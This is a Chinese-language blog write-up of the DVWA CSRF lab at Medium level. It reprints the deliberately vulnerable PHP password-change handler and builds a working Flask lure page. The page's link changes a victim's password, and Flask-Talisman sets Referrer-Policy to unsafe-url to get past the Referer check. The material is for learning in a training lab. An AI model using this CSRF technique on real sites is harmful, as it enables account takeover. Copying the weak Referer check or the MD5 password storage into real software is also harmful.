這次我們直接看 code:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $current_user = dvwaCurrentUser();
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
跟昨天的 Low 相比,多了第二層 if 的檢查:
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
意思是 HTTP_REFERER 中需要有 SERVER_NAME 才會通過檢查。在這個環境中我們的 SERVER_NAME 是 localhost,所以我們的目標是讓 Referer 中包含 localhost 這段字串。
要達到這個條件有兩種做法,一種是租一個包含 SERVER_NAME 的 Domain 來達成,另一種是用後面的 route 來達到,實務上包含在後面的 route 應該是比較泛用的方式。
這邊使用 Flask 來架一個釣魚頁面,只要使用者點擊就會被修改密碼。
我嘗試使用 /localhost 這個路由來達到上面 Referer 的條件
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/localhost')
def index():
    return render_template('index.html')
app.run(host="127.0.0.1", port=5000, debug=False)
index.html:
<p>抽獎抽獎</p>
<a href="http://localhost:4280/vulnerabilities/csrf/?password_new=pwnedpwned&password_conf=pwnedpwned&Change=Change#">抽一下嘛🥺</a>
本來以為這樣就可以順利通關,但按下去之後,出現了 That request didn't look correct. 的錯誤,使用 Burp Suite 可以看到 Referer 不是我想像的 http://127.0.0.1:5000/localhost,而是只有前面的 host 跟 port 的部分。
這邊還跟我的隊友求助了一下 XD,最後發現是 Chrome 85 之後預設的 Referrer-Policy 變成 strict-origin-when-cross-origin 了。
這樣我們應該只要把 Referrer-Policy 改成 unsafe-url 就可以讓 Referer 符合我們的預期,只是我嘗試在 Flask 端覆寫 Header 但是沒有效果,最後使用了 Flask Talisman 才成功更改了 Referrer-Policy。最後的 code 如下:
from flask import Flask, render_template
from flask_talisman import Talisman
app = Flask(__name__)
Talisman(app, force_https=False, referrer_policy='unsafe-url')
@app.route('/localhost')
def index():
    return render_template('index.html')
app.run(host="127.0.0.1", port=5000, debug=False)
最後點擊該釣魚頁面中的連結,成功更改密碼!
前面提到的預設 Referrer-Policy 改動可以去看看這篇文章:
【Chrome 85 更新】淺談 Referer-Policy 和更新影響 - Max行銷誌
最近幾天發現要完成文章的時間越來越長,因為要將題目打通才能開始寫 XD,希望後面可以順利完成!